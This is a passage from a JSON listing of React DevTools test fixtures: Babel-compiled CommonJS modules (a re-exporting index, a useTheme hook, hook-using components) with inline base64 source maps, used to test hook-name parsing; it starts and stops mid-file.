SA9IHVzZVN0YXRlKFtcbiAgICB7aWQ6IDEsIGlzQ29tcGxldGU6IHRydWUsIHRleHQ6ICdGaXJzdCd9LFxuICAgIHtpZDogMiwgaXNDb21wbGV0ZTogdHJ1ZSwgdGV4dDogJ1NlY29uZCd9LFxuICAgIHtpZDogMywgaXNDb21wbGV0ZTogZmFsc2UsIHRleHQ6ICdUaGlyZCd9LFxuICBdKTtcbiAgY29uc3QgW3VpZCwgc2V0VUlEXSA9IHVzZVN0YXRlKDQpO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gdXNlQ2FsbGJhY2soKCkgPT4ge1xuICAgIGlmIChuZXdJdGVtVGV4dCAhPT0gJycpIHtcbiAgICAgIHNldEl0ZW1zKFtcbiAgICAgICAgLi4uaXRlbXMsXG4gICAgICAgIHtcbiAgICAgICAgICBpZDogdWlkLFxuICAgICAgICAgIGlzQ29tcGxldGU6IGZhbHNlLFxuICAgICAgICAgIHRleHQ6IG5ld0l0ZW1UZXh0LFxuICAgICAgICB9LFxuICAgICAgXSk7XG4gICAgICBzZXRVSUQodWlkICsgMSk7XG4gICAgICBzZXROZXdJdGVtVGV4dCgnJyk7XG4gICAgfVxuICB9LCBbbmV3SXRlbVRleHQsIGl0ZW1zLCB1aWRdKTtcblxuICBjb25zdCBoYW5kbGVLZXlQcmVzcyA9IHVzZUNhbGxiYWNrKFxuICAgIGV2ZW50ID0+IHtcbiAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHtcbiAgICAgICAgaGFuZGxlQ2xpY2soKTtcbiAgICAgIH1cbiAgICB9LFxuICAgIFtoYW5kbGVDbGlja10sXG4gICk7XG5cbiAgY29uc3QgaGFuZGxlQ2hhbmdlID0gdXNlQ2FsbGJhY2soXG4gICAgZXZlbnQgPT4ge1xuICAgICAgc2V0TmV3SXRlbVRleHQoZXZlbnQuY3VycmVudFRhcmdldC52YWx1ZSk7XG4gICAgfSxcbiAgICBbc2V0TmV3SXRlbVRleHRdLFxuICApO1xuXG4gIGNvbnN0IHJlbW92ZUl0ZW0gPSB1c2VDYWxsYmFjayhcbiAgICBpdGVtVG9SZW1vdmUgPT4gc2V0SXRlbXMoaXRlbXMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAhPT0gaXRlbVRvUmVtb3ZlKSksXG4gICAgW2l0ZW1zXSxcbiAgKTtcblxuICBjb25zdCB0b2dnbGVJdGVtID0gdXNlQ2FsbGJhY2soXG4gICAgaXRlbVRvVG9nZ2xlID0+IHtcbiAgICAgIC8vIERvbnQgdXNlIGluZGV4T2YoKVxuICAgICAgLy8gYmVjYXVzZSBlZGl0aW5nIHByb3BzIGluIERldlRvb2xzIGNyZWF0ZXMgYSBuZXcgT2JqZWN0LlxuICAgICAgY29uc3QgaW5kZXggPSBpdGVtcy5maW5kSW5kZXgoaXRlbSA9PiBpdGVtLmlkID09PSBpdGVtVG9Ub2dnbGUuaWQpO1xuXG4gICAgICBzZXRJdGVtcyhcbiAgICAgICAgaXRlbXNcbiAgICAgICAgICAuc2xpY2UoMCwgaW5kZXgpXG4gICAgICAgICAgLmNvbmNhdCh7XG4gICAgICAgICAgICAuLi5pdGVtVG9Ub2dnbGUsXG4gICAgICAgICAgICBpc0NvbXBsZXRlOiAhaXRlbVRvVG9nZ2xlLmlzQ29tcGxldGUsXG4gICAgICAgICAgfSlcbiAgICAgICAgICAuY29uY2F0KGl0ZW1zLnNsaWNlKGluZGV4ICsgMSkpLFxuICAgICAgKTtcbiAgICB9LFxuICAgIFtpdGVtc10sXG4gICk7XG5cbiAgcmV0dXJuIChcbiAgICA8RnJhZ21lbnQ+XG4gICAgICA8aDE+TGlzdDwvaDE+XG4gICAgICA8aW5wdXRcbiAgICAgICAgdHlwZT1cInRleHRcIlxuICAgICAgICBwbGFjZWhvbGRlcj1cIk5ldyBsaXN0IGl0ZW0uLi5cIlxuICAgICAgICB2YWx1ZT17bmV3SXRlbVRleHR9XG4gICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVDaGFuZ2V9XG4gICAgICAgIG9uS2V5UHJlc3M9e2hhbmRsZUtleVByZXNzfVxuICAgICAgLz5cbiAgICAgIDxidXR0b24gZGlzYWJsZWQ9e25ld0l0ZW1UZXh0ID09PSAnJ30gb25DbGljaz17aGFuZGxlQ2xpY2t9PlxuICAgICAgICA8c3BhbiByb2xlPVwiaW1nXCIgYXJpYS1sYWJlbD1cIkFkZCBpdGVtXCI+XG4gICAgICAgICAgQWRkXG4gICAgICAgIDwvc3Bhbj5cbiAgICAgIDwvYnV0dG9uPlxuICAgICAgPHVsPlxuICAgICAgICB7aXRlbXMubWFwKGl0ZW0gPT4gKFxuICAgICAgICAgIDxMaXN0SXRlbVxuICAgICAgICAgICAga2V5PXtpdGVtLmlkfVxuICAgICAgICAgICAgaXRlbT17aXRlbX1cbiAgICAgICAgICAgIHJlbW92ZUl0ZW09e3JlbW92ZUl0ZW19XG4gICAgICAgICAgICB0b2dnbGVJdGVtPXt0b2dnbGVJdGVtfVxuICAgICAgICAgIC8+XG4gICAgICAgICkpfVxuICAgICAgPC91bD5cbiAgICA8L0ZyYWdtZW50PlxuICApO1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsImhhbmRsZURlbGV0ZSIsImhhbmRsZVRvZ2dsZSIsIm5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJ1aWQiLCJoYW5kbGVDbGljayIsImhhbmRsZUtleVByZXNzIiwiaGFuZGxlQ2hhbmdlIiwicmVtb3ZlSXRlbSIsInRvZ2dsZUl0ZW0iXSwibWFwcGluZ3MiOiJDQUFEO2N1QkNBO2dCQ0RBO2tCREVBO29CQ0ZBO3NDZ0JHQSxBWUhBO3VDeEJJQTsyQ3hCSkE7NENvQktBLEFXTEE7OENiTUE7MkRTTkE7NkROT0E7b0V0QlBBO3NFb0JRQTsyRXBCUkE7NkVrQlNBO2dGbEJUQTtrRmtCVUE7bUdsQlZBIn1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImluZGV4LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFTQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7OztBQUVBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5fSBmcm9tICcuL0NvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5JztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhDdXN0b21Ib29rfSBmcm9tICcuL0NvbXBvbmVudFdpdGhDdXN0b21Ib29rJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZX0gZnJvbSAnLi9Db21wb25lbnRXaXRoTXVsdGlwbGVIb29rc1BlckxpbmUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgQ29tcG9uZW50V2l0aE5lc3RlZEhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhOZXN0ZWRIb29rcyc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBDb250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTH0gZnJvbSAnLi9Db250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTCc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBFeGFtcGxlfSBmcm9tICcuL0V4YW1wbGUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgSW5saW5lUmVxdWlyZX0gZnJvbSAnLi9JbmxpbmVSZXF1aXJlJztcbmltcG9ydCAqIGFzIFRvRG9MaXN0IGZyb20gJy4vVG9Eb0xpc3QnO1xuZXhwb3J0IHtUb0RvTGlzdH07XG5leHBvcnQge2RlZmF1bHQgYXMgdXNlVGhlbWV9IGZyb20gJy4vdXNlVGhlbWUnO1xuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVzZVRoZW1lLmpzIl0sIm5hbWVzIjpbIlRoZW1lQ29udGV4dCIsInVzZVRoZW1lIiwidGhlbWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBU0E7O0FBVEE7Ozs7Ozs7O0FBV08sTUFBTUEsWUFBWSxnQkFBRywwQkFBYyxRQUFkLENBQXJCOzs7QUFFUSxTQUFTQyxRQUFULEdBQW9CO0FBQ2pDLFFBQU1DLEtBQUssR0FBRyx1QkFBV0YsWUFBWCxDQUFkO0FBQ0EsNEJBQWNFLEtBQWQ7QUFDQSxTQUFPQSxLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0LCB1c2VEZWJ1Z1ZhbHVlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBUaGVtZUNvbnRleHQgPSBjcmVhdGVDb250ZXh0KCdicmlnaHQnKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGhlbWUoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlQ29udGV4dChUaGVtZUNvbnRleHQpO1xuICB1c2VEZWJ1Z1ZhbHVlKHRoZW1lKTtcbiAgcmV0dXJuIHRoZW1lO1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsInRoZW1lIl0sIm1hcHBpbmdzIjoiQ0FBRDtlZ0JDQSxBd0JEQSJ9XV19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImluZGV4LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFTQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7OztBQUVBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5fSBmcm9tICcuL0NvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5JztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhDdXN0b21Ib29rfSBmcm9tICcuL0NvbXBvbmVudFdpdGhDdXN0b21Ib29rJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZX0gZnJvbSAnLi9Db21wb25lbnRXaXRoTXVsdGlwbGVIb29rc1BlckxpbmUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgQ29tcG9uZW50V2l0aE5lc3RlZEhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhOZXN0ZWRIb29rcyc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBDb250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTH0gZnJvbSAnLi9Db250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTCc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBFeGFtcGxlfSBmcm9tICcuL0V4YW1wbGUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgSW5saW5lUmVxdWlyZX0gZnJvbSAnLi9JbmxpbmVSZXF1aXJlJztcbmltcG9ydCAqIGFzIFRvRG9MaXN0IGZyb20gJy4vVG9Eb0xpc3QnO1xuZXhwb3J0IHtUb0RvTGlzdH07XG5leHBvcnQge2RlZmF1bHQgYXMgdXNlVGhlbWV9IGZyb20gJy4vdXNlVGhlbWUnO1xuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVzZVRoZW1lLmpzIl0sIm5hbWVzIjpbIlRoZW1lQ29udGV4dCIsInVzZVRoZW1lIiwidGhlbWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBU0E7O0FBVEE7Ozs7Ozs7O0FBV08sTUFBTUEsWUFBWSxnQkFBRywwQkFBYyxRQUFkLENBQXJCOzs7QUFFUSxTQUFTQyxRQUFULEdBQW9CO0FBQ2pDLFFBQU1DLEtBQUssR0FBRyx1QkFBV0YsWUFBWCxDQUFkO0FBQ0EsNEJBQWNFLEtBQWQ7QUFDQSxTQUFPQSxLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0LCB1c2VEZWJ1Z1ZhbHVlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBUaGVtZUNvbnRleHQgPSBjcmVhdGVDb250ZXh0KCdicmlnaHQnKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGhlbWUoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlQ29udGV4dChUaGVtZUNvbnRleHQpO1xuICB1c2VEZWJ1Z1ZhbHVlKHRoZW1lKTtcbiAgcmV0dXJuIHRoZW1lO1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsInRoZW1lIl0sIm1hcHBpbmdzIjoiQ0FBRDtlZ0JDQSxBd0JEQSJ9XV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVzZVRoZW1lLmpzIl0sIm5hbWVzIjpbIlRoZW1lQ29udGV4dCIsInVzZVRoZW1lIiwidGhlbWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBU0E7O0FBVEE7Ozs7Ozs7O0FBV08sTUFBTUEsWUFBWSxnQkFBRywwQkFBYyxRQUFkLENBQXJCOzs7QUFFUSxTQUFTQyxRQUFULEdBQW9CO0FBQ2pDLFFBQU1DLEtBQUssR0FBRyx1QkFBV0YsWUFBWCxDQUFkO0FBQ0EsNEJBQWNFLEtBQWQ7QUFDQSxTQUFPQSxLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0LCB1c2VEZWJ1Z1ZhbHVlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBUaGVtZUNvbnRleHQgPSBjcmVhdGVDb250ZXh0KCdicmlnaHQnKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGhlbWUoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlQ29udGV4dChUaGVtZUNvbnRleHQpO1xuICB1c2VEZWJ1Z1ZhbHVlKHRoZW1lKTtcbiAgcmV0dXJuIHRoZW1lO1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      